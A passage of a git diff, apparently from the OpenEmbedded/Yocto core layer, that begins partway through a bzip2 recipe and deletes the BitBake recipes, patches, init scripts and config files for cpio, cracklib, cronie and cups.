33SRCREV_bzip2-tests = "f9061c030a25de5b6829e1abf373057309c734c0"
34
35UPSTREAM_CHECK_URI = "https://www.sourceware.org/pub/bzip2/"
36
37PACKAGES =+ "libbz2"
38
39CFLAGS += "-fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
40
41inherit autotools update-alternatives ptest
42
43ALTERNATIVE_PRIORITY = "100"
44ALTERNATIVE:${PN} = "bunzip2 bzcat bzip2"
45
46#install binaries to bzip2-native under sysroot for replacement-native
47EXTRA_OECONF:append:class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
48
49do_configure:prepend () {
50 sed -i -e "s|%BZIP2_VERSION%|${PV}|" ${S}/configure.ac
51}
52
53do_install_ptest () {
54 install -d ${D}${PTEST_PATH}/bzip2-tests
55 cp -r ${UNPACKDIR}/bzip2-tests/commons-compress ${D}${PTEST_PATH}/bzip2-tests/commons-compress
56 cp -r ${UNPACKDIR}/bzip2-tests/dotnetzip ${D}${PTEST_PATH}/bzip2-tests/dotnetzip
57 cp -r ${UNPACKDIR}/bzip2-tests/go ${D}${PTEST_PATH}/bzip2-tests/go
58 cp -r ${UNPACKDIR}/bzip2-tests/lbzip2 ${D}${PTEST_PATH}/bzip2-tests/lbzip2
59 cp -r ${UNPACKDIR}/bzip2-tests/pyflate ${D}${PTEST_PATH}/bzip2-tests/pyflate
60 cp ${UNPACKDIR}/bzip2-tests/README ${D}${PTEST_PATH}/bzip2-tests/
61 cp ${UNPACKDIR}/bzip2-tests/run-tests.sh ${D}${PTEST_PATH}/bzip2-tests/
62 sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile
63}
64
65FILES:libbz2 = "${libdir}/lib*${SOLIBS}"
66
67RDEPENDS:${PN}-ptest += "make bash"
68
69CVE_PRODUCT = "bzip:bzip2"
70
71PROVIDES:append:class-native = " bzip2-replacement-native"
72BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/cpio_2.15.bb b/meta/recipes-extended/cpio/cpio_2.15.bb
deleted file mode 100644
index fa011251e2..0000000000
--- a/meta/recipes-extended/cpio/cpio_2.15.bb
+++ /dev/null
@@ -1,90 +0,0 @@
1SUMMARY = "GNU cpio is a program to manage archives of files"
2DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
3another. It handles a number of cpio formats as well as reading and writing tar files."
4HOMEPAGE = "http://www.gnu.org/software/cpio/"
5SECTION = "base"
6LICENSE = "GPL-3.0-only"
7LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
8
9SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
10 file://run-ptest \
11 file://test.sh \
12 "
13
14SRC_URI[sha256sum] = "efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e"
15
16inherit autotools gettext texinfo ptest
17
18CVE_STATUS[CVE-2010-4226] = "not-applicable-platform: Issue applies to use of cpio in SUSE/OBS"
19CVE_STATUS[CVE-2023-7216] = "disputed: intended behaviour, see https://lists.gnu.org/archive/html/bug-cpio/2024-03/msg00000.html"
20
21EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
22
23CFLAGS += "-std=gnu17"
24
25do_install () {
26 autotools_do_install
27 if [ "${base_bindir}" != "${bindir}" ]; then
28 install -d ${D}${base_bindir}/
29 mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
30 if [ "${sbindir}" != "${bindir}" ]; then
31 rmdir ${D}${bindir}/
32 fi
33 fi
34
35 # Avoid conflicts with the version from tar
36 mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
37}
38
39do_compile_ptest() {
40 # Forcibly regenerate this script so we get our --am-fmt option
41 rm -f ${S}/tests/testsuite
42 oe_runmake -C ${B}/tests/ testsuite
43
44 oe_runmake -C ${B}/tests/ genfile
45}
46
47do_install_ptest() {
48 install -d ${D}${PTEST_PATH}/tests/
49 sed -i "/abs_/d" ${B}/tests/atconfig
50 install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
51 sed -i "s%${B}/tests:%%g" ${B}/tests/atlocal
52 sed -i "s%${B}/src:%%g" ${B}/tests/atlocal
53 install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
54 install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
55 install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
56 install --mode=755 ${UNPACKDIR}/test.sh ${D}${PTEST_PATH}/test.sh
57 sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/test.sh
58}
59
60# ptest.bbclass currently chowns the ptest directory explicitly, so we need to
61# change permission after that has happened so the ptest user can write a
62# temporary directory.
63do_install_ptest_base:append() {
64 chgrp -R ptest ${D}${PTEST_PATH}/
65 chmod -R g+w ${D}${PTEST_PATH}/
66}
67
68# The tests need to run as a non-root user, so pull in the ptest user
69DEPENDS:append:class-target = " ${@bb.utils.contains('PTEST_ENABLED', '1', 'ptest-runner', '', d)}"
70PACKAGE_WRITE_DEPS:append:class-target = " ${@bb.utils.contains('PTEST_ENABLED', '1', 'ptest-runner', '', d)}"
71
72RDEPENDS:${PN}-ptest += "ptest-runner coreutils"
73
74PACKAGES =+ "${PN}-rmt"
75
76FILES:${PN}-rmt = "${sbindir}/rmt*"
77
78inherit update-alternatives
79
80ALTERNATIVE_PRIORITY = "100"
81
82ALTERNATIVE:${PN} = "cpio"
83ALTERNATIVE:${PN}-rmt = "rmt"
84
85ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
86
87ALTERNATIVE_PRIORITY[rmt] = "50"
88ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
89
90BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/files/run-ptest b/meta/recipes-extended/cpio/files/run-ptest
deleted file mode 100755
index f35a756d6b..0000000000
--- a/meta/recipes-extended/cpio/files/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
1#!/bin/sh
2
3su -c ./test.sh ptest
diff --git a/meta/recipes-extended/cpio/files/test.sh b/meta/recipes-extended/cpio/files/test.sh
deleted file mode 100644
index e966ed91f8..0000000000
--- a/meta/recipes-extended/cpio/files/test.sh
+++ /dev/null
@@ -1,5 +0,0 @@
1#!/bin/sh
2
3cd @PTEST_PATH@/tests/
4
5./testsuite --am-fmt
diff --git a/meta/recipes-extended/cracklib/cracklib_2.10.3.bb b/meta/recipes-extended/cracklib/cracklib_2.10.3.bb
deleted file mode 100644
index 7feba2c950..0000000000
--- a/meta/recipes-extended/cracklib/cracklib_2.10.3.bb
+++ /dev/null
@@ -1,32 +0,0 @@
1SUMMARY = "Password strength checker library"
2HOMEPAGE = "https://github.com/cracklib/cracklib"
3DESCRIPTION = "${SUMMARY}"
4
5LICENSE = "LGPL-2.1-or-later"
6LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
7
8DEPENDS = "cracklib-native zlib"
9
10EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
11
12SRC_URI = "git://github.com/cracklib/cracklib;protocol=https;branch=main \
13 "
14
15SRCREV = "e73d5db1789d198b5f9ec44b68b9c775c3e6c042"
16S = "${UNPACKDIR}/${BP}/src"
17
18inherit autotools gettext
19
20# This is custom stuff from upstream's autogen.sh
21do_configure:prepend() {
22 mkdir -p ${S}/m4
23 echo EXTRA_DIST = *.m4 > ${S}/m4/Makefile.am
24 touch ${S}/ABOUT-NLS
25}
26
27do_install:append:class-target() {
28 create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
29}
30
31BBCLASSEXTEND = "native nativesdk"
32
diff --git a/meta/recipes-extended/cronie/cronie/crond.init b/meta/recipes-extended/cronie/cronie/crond.init
deleted file mode 100755
index 53b8514caa..0000000000
--- a/meta/recipes-extended/cronie/cronie/crond.init
+++ /dev/null
@@ -1,58 +0,0 @@
1#!/bin/sh
2### BEGIN INIT INFO
3# Provides: crond crontab
4# Default-Start: 2345
5# Default-Stop: 016
6# Short-Description: run cron daemon
7# Description: cron is a standard UNIX program that runs user-specified
8# programs at periodic scheduled times. vixie cron adds a
9# number of features to the basic UNIX cron, including better
10# security and more powerful configuration options.
11### END INIT INFO
12
13CROND=/usr/sbin/crond
14CONFIG=/etc/sysconfig/crond
15
16[ -f $CONFIG ] || exit 1
17[ -x $CROND ] || exit 1
18
19. $CONFIG
20
21# Source function library.
22. /etc/init.d/functions
23
24case "$1" in
25 start)
26 echo -n "Starting crond: "
27 start-stop-daemon --start --quiet --exec $CROND -- $CRONDARGS
28 RETVAL=$?
29 if [ $RETVAL -eq 0 ] ; then
30 echo "OK"
31 else
32 echo "FAIL"
33 fi
34 ;;
35 stop)
36 echo -n "Stopping crond: "
37 start-stop-daemon --stop --quiet --pidfile /var/run/crond.pid
38 RETVAL=$?
39 if [ $RETVAL -eq 0 ] ; then
40 echo "OK"
41 else
42 echo "FAIL"
43 fi
44 ;;
45 status)
46 status crond
47 exit $?
48 ;;
49 restart)
50 $0 stop && sleep 1 && $0 start
51 ;;
52 *)
53 echo "Usage: /etc/init.d/crond {start|stop|status|restart}"
54 exit 1
55esac
56
57exit 0
58
diff --git a/meta/recipes-extended/cronie/cronie/crond.service b/meta/recipes-extended/cronie/cronie/crond.service
deleted file mode 100644
index d435a6eb34..0000000000
--- a/meta/recipes-extended/cronie/cronie/crond.service
+++ /dev/null
@@ -1,11 +0,0 @@
1[Unit]
2Description=Periodic Command Scheduler
3
4[Service]
5EnvironmentFile=/etc/sysconfig/crond
6ExecStart=@SBINDIR@/crond -n $CRONDARGS
7ExecReload=@BASE_BINDIR@/kill -HUP $MAINPID
8Restart=always
9
10[Install]
11WantedBy=multi-user.target
diff --git a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch b/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
deleted file mode 100644
index 464d1470e3..0000000000
--- a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1From f5b325cba73018e5be984570fd4e680e59e7865d Mon Sep 17 00:00:00 2001
2From: Wenzong Fan <wenzong.fan@windriver.com>
3Date: Wed, 20 Jul 2011 02:42:28 +0000
4Subject: [PATCH] cronie: enable PAM support for cronie
5
6password-auth is the Fedora's common pam configure file, use oe common pam
7configure files instead.
8
9Upstream-Status: Pending
10
11Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
12
13---
14 pam/crond | 6 +++---
15 1 file changed, 3 insertions(+), 3 deletions(-)
16
17diff --git a/pam/crond b/pam/crond
18index 560529d..95a6457 100644
19--- a/pam/crond
20+++ b/pam/crond
21@@ -4,8 +4,8 @@
22 #
23 # Although no PAM authentication is called, auth modules
24 # are used for credential setting
25-auth include system-auth
26+auth include common-auth
27 account required pam_access.so
28-account include system-auth
29+account include common-auth
30 session required pam_loginuid.so
31-session include system-auth
32+session include common-session-noninteractive
diff --git a/meta/recipes-extended/cronie/cronie/crontab b/meta/recipes-extended/cronie/cronie/crontab
deleted file mode 100644
index 22c4feb2dc..0000000000
--- a/meta/recipes-extended/cronie/cronie/crontab
+++ /dev/null
@@ -1,14 +0,0 @@
1# /etc/crontab: system-wide crontab
2# Unlike any other crontab you don't have to run the `crontab'
3# command to install the new version when you edit this file
4# and files in /etc/cron.d. These files also have username fields,
5# that none of the other crontabs do.
6
7SHELL=/bin/sh
8PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
9
10# m h dom mon dow user command
11# 1 * * * * root cd / && run-parts /etc/cron.hourly
12# 30 7 * * * root cd / && run-parts /etc/cron.daily
13# 42 7 * * 7 root cd / && run-parts /etc/cron.weekly
14# 55 7 1 * * root cd / && run-parts /etc/cron.monthly
diff --git a/meta/recipes-extended/cronie/cronie/make_error_func_prototype_complete.patch b/meta/recipes-extended/cronie/cronie/make_error_func_prototype_complete.patch
deleted file mode 100644
index 71f0153ec6..0000000000
--- a/meta/recipes-extended/cronie/cronie/make_error_func_prototype_complete.patch
+++ /dev/null
@@ -1,41 +0,0 @@
1From 09c630c654b2aeff06a90a412cce0a60ab4955a4 Mon Sep 17 00:00:00 2001
2From: Tomas Mraz <tmraz@fedoraproject.org>
3Date: Mon, 18 Nov 2024 21:02:30 +0100
4Subject: [PATCH] load_entry(): Make error_func prototype complete
5
6Fixes #193
7
8Upstream-Status: Backport [https://github.com/cronie-crond/cronie/commit/09c630c654b2aeff06a90a412cce0a60ab4955a4]
9
10Signed-off-by: Khem Raj <raj.khem@gmail.com>
11---
12 src/entry.c | 2 +-
13 src/funcs.h | 2 +-
14 2 files changed, 2 insertions(+), 2 deletions(-)
15
16diff --git a/src/entry.c b/src/entry.c
17index 586eb9d..a2077e8 100644
18--- a/src/entry.c
19+++ b/src/entry.c
20@@ -90,7 +90,7 @@ void free_entry(entry * e) {
21 /* return NULL if eof or syntax error occurs;
22 * otherwise return a pointer to a new entry.
23 */
24-entry *load_entry(FILE * file, void (*error_func) (), struct passwd *pw,
25+entry *load_entry(FILE * file, void (*error_func) (const char *), struct passwd *pw,
26 char **envp) {
27 /* this function reads one crontab entry -- the next -- from a file.
28 * it skips any leading blank lines, ignores comments, and returns
29diff --git a/src/funcs.h b/src/funcs.h
30index 427e027..f28d634 100644
31--- a/src/funcs.h
32+++ b/src/funcs.h
33@@ -89,7 +89,7 @@ char *env_get(const char *, char **),
34 user *load_user(int, struct passwd *, const char *, const char *, const char *),
35 *find_user(cron_db *, const char *, const char *);
36
37-entry *load_entry(FILE *, void (*)(), struct passwd *, char **);
38+entry *load_entry(FILE *, void (*)(const char *), struct passwd *, char **);
39
40 FILE *cron_popen(char *, const char *, struct passwd *, char **);
41
diff --git a/meta/recipes-extended/cronie/cronie_1.7.2.bb b/meta/recipes-extended/cronie/cronie_1.7.2.bb
deleted file mode 100644
index b250717ab8..0000000000
--- a/meta/recipes-extended/cronie/cronie_1.7.2.bb
+++ /dev/null
@@ -1,87 +0,0 @@
1SUMMARY = "Cron daemon for executing programs at set times"
2DESCRIPTION = "Cronie contains the standard UNIX daemon crond that runs \
3specified programs at scheduled times and related tools. It is based on the \
4original cron and has security and configuration enhancements like the \
5ability to use pam and SELinux."
6HOMEPAGE = "https://github.com/cronie-crond/cronie/"
7BUGTRACKER = "https://bugzilla.redhat.com"
8
9# Internet Systems Consortium License
10LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPL-2.0-or-later"
11LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
12 file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
13 file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
14
15SECTION = "utils"
16
17GITHUB_BASE_URI = "https://github.com/cronie-crond/${BPN}/releases/"
18
19SRC_URI = "${GITHUB_BASE_URI}/download/cronie-${PV}/cronie-${PV}.tar.gz \
20 file://make_error_func_prototype_complete.patch \
21 file://crond.init \
22 file://crontab \
23 file://crond.service \
24 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)}"
25
26PAM_SRC_URI = "file://crond_pam_config.patch"
27PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
28
29SRC_URI[sha256sum] = "f1da374a15ba7605cf378347f96bc8b678d3d7c0765269c8242cfe5b0789c571"
30
31inherit autotools update-rc.d useradd systemd github-releases
32UPSTREAM_CHECK_REGEX = "releases/tag/cronie-(?P<pver>\d+(\.\d+)+)"
33
34PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
35
36PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
37PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
38PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron"
39PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
40PACKAGECONFIG[inotify] = "--with-inotify,--without-inotify,"
41
42INITSCRIPT_NAME = "crond"
43INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
44
45USERADD_PACKAGES = "${PN}"
46GROUPADD_PARAM:${PN} = "--system crontab"
47
48SYSTEMD_SERVICE:${PN} = "crond.service"
49
50do_install:append () {
51 install -d ${D}${sysconfdir}/sysconfig/
52 install -d ${D}${sysconfdir}/init.d/
53 install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
54 install -m 0755 ${UNPACKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
55
56 # install systemd unit files
57 install -d ${D}${systemd_system_unitdir}
58 install -m 0644 ${UNPACKDIR}/crond.service ${D}${systemd_system_unitdir}
59 sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
60 -e 's,@SBINDIR@,${sbindir},g' \
61 ${D}${systemd_system_unitdir}/crond.service
62
63 # below are necessary for a complete cron environment
64 install -d ${D}${localstatedir}/spool/cron
65 install -m 0755 ${UNPACKDIR}/crontab ${D}${sysconfdir}/
66 mkdir -p ${D}${sysconfdir}/cron.d
67 mkdir -p ${D}${sysconfdir}/cron.hourly
68 mkdir -p ${D}${sysconfdir}/cron.daily
69 mkdir -p ${D}${sysconfdir}/cron.weekly
70 mkdir -p ${D}${sysconfdir}/cron.monthly
71 touch ${D}${sysconfdir}/cron.deny
72
73 # below setting is necessary to allow normal user using crontab
74
75 # setgid for crontab binary
76 chown root:crontab ${D}${bindir}/crontab
77 chmod 2755 ${D}${bindir}/crontab
78
79 # allow 'crontab' group write to /var/spool/cron
80 chown root:crontab ${D}${localstatedir}/spool/cron
81 chmod 770 ${D}${localstatedir}/spool/cron
82
83 chmod 600 ${D}${sysconfdir}/crontab
84}
85
86FILES:${PN} += "${sysconfdir}/cron*"
87CONFFILES:${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cups/cups.inc b/meta/recipes-extended/cups/cups.inc
deleted file mode 100644
index 24ebcc4aae..0000000000
--- a/meta/recipes-extended/cups/cups.inc
+++ /dev/null
@@ -1,117 +0,0 @@
1SUMMARY = "An Internet printing system for Unix"
2DESCRIPTION = "The Common UNIX Printing System is a printing system and \
3general replacement for lpd and the like. It supports the Internet Printing \
4Protocol (IPP), and has its own filtering driver model for handling various \
5document types."
6HOMEPAGE = "https://www.cups.org/"
7SECTION = "console/utils"
8LICENSE = "Apache-2.0"
9DEPENDS = "libpng jpeg dbus zlib libusb1"
10
11SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/cups-${PV}-source.tar.gz \
12 file://0001-use-echo-only-in-init.patch \
13 file://0002-don-t-try-to-run-generated-binaries.patch \
14 file://libexecdir.patch \
15 file://0004-cups-fix-multilib-install-file-conflicts.patch \
16 file://volatiles.99_cups \
17 file://cups-volatiles.conf \
18 "
19
20GITHUB_BASE_URI = "https://github.com/OpenPrinting/cups/releases"
21
22CVE_STATUS[CVE-2008-1033] = "not-applicable-platform: Issue only applies to MacOS"
23CVE_STATUS[CVE-2009-0032] = "cpe-incorrect: Issue affects pdfdistiller plugin used with but not part of cups"
24CVE_STATUS[CVE-2018-6553] = "not-applicable-platform: This is an Ubuntu only issue"
25CVE_STATUS[CVE-2022-26691] = "fixed-version: This is fixed in 2.4.2 but the cve-check class still reports it"
26
27LEAD_SONAME = "libcupsdriver.so"
28
29CLEANBROKEN = "1"
30
31inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script github-releases
32
33USERADD_PACKAGES = "${PN}"
34GROUPADD_PARAM:${PN} = "--system lpadmin"
35
36SYSTEMD_SERVICE:${PN} = "cups.socket cups.path cups.service cups-lpd.socket"
37
38PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
39 ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)} \
40 openssl \
41"
42PACKAGECONFIG[avahi] = "--with-dnssd=avahi,--with-dnssd=no,avahi"
43PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl"
44PACKAGECONFIG[gnutls] = "--with-tls=gnutls,,gnutls,,,openssl"
45PACKAGECONFIG[openssl] = "--with-tls=openssl,,openssl,,,gnutls"
46PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam"
47PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd"
48PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd"
49PACKAGECONFIG[webif] = "--enable-webif,--disable-webif"
50
51EXTRA_OECONF = " \
52 --enable-dbus \
53 --with-dbusdir=${sysconfdir}/dbus-1 \
54 --enable-browsing \
55 --disable-gssapi \
56 --enable-debug \
57 --disable-relro \
58 --enable-libusb \
59 --with-system-groups=lpadmin,root,sys,wheel \
60 --with-cups-group=lp \
61 --with-domainsocket=/run/cups/cups.sock \
62 --with-pkgconfpath=${libdir}/pkgconfig \
63 DSOFLAGS='${LDFLAGS}' \
64 "
65
66EXTRA_AUTORECONF += "--exclude=autoheader"
67
68do_install () {
69 oe_runmake "BUILDROOT=${D}" install
70
71 # Remove /var/run from package as cupsd will populate it on startup
72 rm -fr ${D}/${localstatedir}/run
73 rm -fr ${D}/${localstatedir}/log
74 rmdir ${D}/${libexecdir}/${BPN}/driver
75
76 # Fix the pam configuration file permissions
77 if ${@bb.utils.contains('PACKAGECONFIG', 'pam', 'true', 'false', d)}; then
78 chmod 0644 ${D}${sysconfdir}/pam.d/cups
79 fi
80
81 # Remove sysinit script and symlinks if sysvinit is not in DISTRO_FEATURES
82 if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
83 rm -rf ${D}${sysconfdir}/init.d/
84 rm -rf ${D}${sysconfdir}/rc*
85 install -d ${D}${sysconfdir}/tmpfiles.d
86 install -m 0644 ${UNPACKDIR}/cups-volatiles.conf \
87 ${D}${sysconfdir}/tmpfiles.d/cups.conf
88 else
89 install -d ${D}${sysconfdir}/default/volatiles
90 install -m 0644 ${UNPACKDIR}/volatiles.99_cups \
91 ${D}${sysconfdir}/default/volatiles/99_cups
92 fi
93}
94
95PACKAGES =+ "${PN}-lib ${PN}-libimage ${PN}-webif"
96
97RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
98FILES:${PN} += "${libexecdir}/cups/ ${systemd_system_unitdir}/system-cups.slice"
99
100FILES:${PN}-lib = "${libdir}/libcups.so.*"
101
102FILES:${PN}-libimage = "${libdir}/libcupsimage.so.*"
103
104# put the html for the web interface into its own PACKAGE
105FILES:${PN}-webif += "${datadir}/doc/cups/ ${datadir}/icons/"
106RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'webif', '${PN}-webif', '', d)}"
107
108CONFFILES:${PN} += "${sysconfdir}/cups/cupsd.conf"
109
110MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/cups-config"
111
112LOCALE_PATHS += "${datadir}/cups/templates"
113
114SYSROOT_PREPROCESS_FUNCS += "cups_sysroot_preprocess"
115cups_sysroot_preprocess () {
116 sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libexecdir}/cups:'
117}
diff --git a/meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch b/meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch
deleted file mode 100644
index c0cb7df581..0000000000
--- a/meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch
+++ /dev/null
@@ -1,24 +0,0 @@
1From c5f943b1ac6e1c86ae64686e29e178fedf933e96 Mon Sep 17 00:00:00 2001
2From: Saul Wold <sgw@linux.intel.com>
3Date: Thu, 13 Dec 2012 19:03:52 -0800
4Subject: [PATCH] use echo only in init
5
6Upstream-Status: Inappropriate [embedded specific]
7Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
8---
9 scheduler/cups.sh.in | 2 +-
10 1 file changed, 1 insertion(+), 1 deletion(-)
11
12diff --git a/scheduler/cups.sh.in b/scheduler/cups.sh.in
13index 74cce18..c57f0db 100644
14--- a/scheduler/cups.sh.in
15+++ b/scheduler/cups.sh.in
16@@ -51,7 +51,7 @@ case "`uname`" in
17 ECHO_ERROR=:
18 ;;
19
20- Linux*)
21+ DisableLinux*)
22 IS_ON=/bin/true
23 if test -f /etc/init.d/functions; then
24 . /etc/init.d/functions
diff --git a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
deleted file mode 100644
index cf2f1a6747..0000000000
--- a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1From da9a313ae5a2d1da683dd58572df0d7a660eb922 Mon Sep 17 00:00:00 2001
2From: Koen Kooi <koen@dominion.thruhere.net>
3Date: Sun, 30 Jan 2011 16:37:27 +0100
4Subject: [PATCH] don't try to run generated binaries
5
6Upstream-Status: Inappropriate [embedded specific]
7
8Signed-off-by: Koen Kooi <koen@dominion.thruhere.net>
9---
10 ppdc/Makefile | 4 ++--
11 1 file changed, 2 insertions(+), 2 deletions(-)
12
13diff --git a/ppdc/Makefile b/ppdc/Makefile
14index e36ed11..3fe97e1 100644
15--- a/ppdc/Makefile
16+++ b/ppdc/Makefile
17@@ -187,8 +187,8 @@ genstrings: genstrings.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) \
18 $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o genstrings genstrings.o \
19 libcupsppdc.a $(LINKCUPSSTATIC)
20 $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
21- echo Generating localization strings...
22- ./genstrings >sample.c
23+# echo Generating localization strings...
24+# ./genstrings >sample.c
25
26
27 #
diff --git a/meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch b/meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch
deleted file mode 100644
index 31338822e6..0000000000
--- a/meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch
+++ /dev/null
@@ -1,29 +0,0 @@
1From 880bad2c6b08afd2e2e303bc3ceea559edbe76d2 Mon Sep 17 00:00:00 2001
2From: Kai Kang <kai.kang@windriver.com>
3Date: Wed, 3 Oct 2018 00:27:11 +0800
4Subject: [PATCH] cups: fix multilib install file conflicts
5
6@CUPS_SERVERBIN@ is ${libdir} related that causes multilib install file
7conflict. Remove @CUPS_SERVERBIN@ from the comment line of cups-files.conf to
8avoid the conflict.
9
10Upstream-Status: Inappropriate [OE specific]
11
12Signed-off-by: Kai Kang <kai.kang@windriver.com>
13---
14 conf/cups-files.conf.in | 2 +-
15 1 file changed, 1 insertion(+), 1 deletion(-)
16
17diff --git a/conf/cups-files.conf.in b/conf/cups-files.conf.in
18index f96f745..27d8be9 100644
19--- a/conf/cups-files.conf.in
20+++ b/conf/cups-files.conf.in
21@@ -70,7 +70,7 @@ PageLog @CUPS_LOGDIR@/page_log
22 #RequestRoot @CUPS_REQUESTS@
23
24 # Location of helper programs...
25-#ServerBin @CUPS_SERVERBIN@
26+#ServerBin
27
28 # SSL/TLS keychain for the scheduler...
29 #ServerKeychain @CUPS_SERVERKEYCHAIN@
diff --git a/meta/recipes-extended/cups/cups/cups-volatiles.conf b/meta/recipes-extended/cups/cups/cups-volatiles.conf
deleted file mode 100644
index 0ede78e1c8..0000000000
--- a/meta/recipes-extended/cups/cups/cups-volatiles.conf
+++ /dev/null
@@ -1 +0,0 @@
1d /var/log/cups 0755 root root -
diff --git a/meta/recipes-extended/cups/cups/libexecdir.patch b/meta/recipes-extended/cups/cups/libexecdir.patch
deleted file mode 100644
index 493c7970ea..0000000000
--- a/meta/recipes-extended/cups/cups/libexecdir.patch
+++ /dev/null
@@ -1,34 +0,0 @@
1From 4ae7ad87aa022f5128be222dffbf0c50ec6e846e Mon Sep 17 00:00:00 2001
2From: Ross Burton <ross.burton@arm.com>
3Date: Tue, 13 Jul 2021 12:56:30 +0100
4Subject: [PATCH] Use $libexecdir instead of hardcoding $prefix/lib as this
5 breaks multilib builds.
6
7Upstream-Status: Pending
8Signed-off-by: Ross Burton <ross.burton@arm.com>
9---
10 config-scripts/cups-directories.m4 | 4 ++--
11 1 file changed, 2 insertions(+), 2 deletions(-)
12
13diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
14index 069ee7b..2f67e5b 100644
15--- a/config-scripts/cups-directories.m4
16+++ b/config-scripts/cups-directories.m4
17@@ -239,7 +239,7 @@ AC_SUBST([CUPS_REQUESTS])
18 AS_CASE(["$host_os_name"], [*-gnu], [
19 # GNUs
20 INSTALL_SYSV="install-sysv"
21- CUPS_SERVERBIN="$exec_prefix/lib/cups"
22+ CUPS_SERVERBIN="$libexecdir/cups"
23 ], [*bsd* | darwin*], [
24 # *BSD and Darwin (macOS)
25 INSTALL_SYSV=""
26@@ -247,7 +247,7 @@ AS_CASE(["$host_os_name"], [*-gnu], [
27 ], [*], [
28 # All others
29 INSTALL_SYSV="install-sysv"
30- CUPS_SERVERBIN="$exec_prefix/lib/cups"
31+ CUPS_SERVERBIN="$libexecdir/cups"
32 ])
33
34 AC_DEFINE_UNQUOTED([CUPS_SERVERBIN], ["$CUPS_SERVERBIN"], [Location of server programs.])
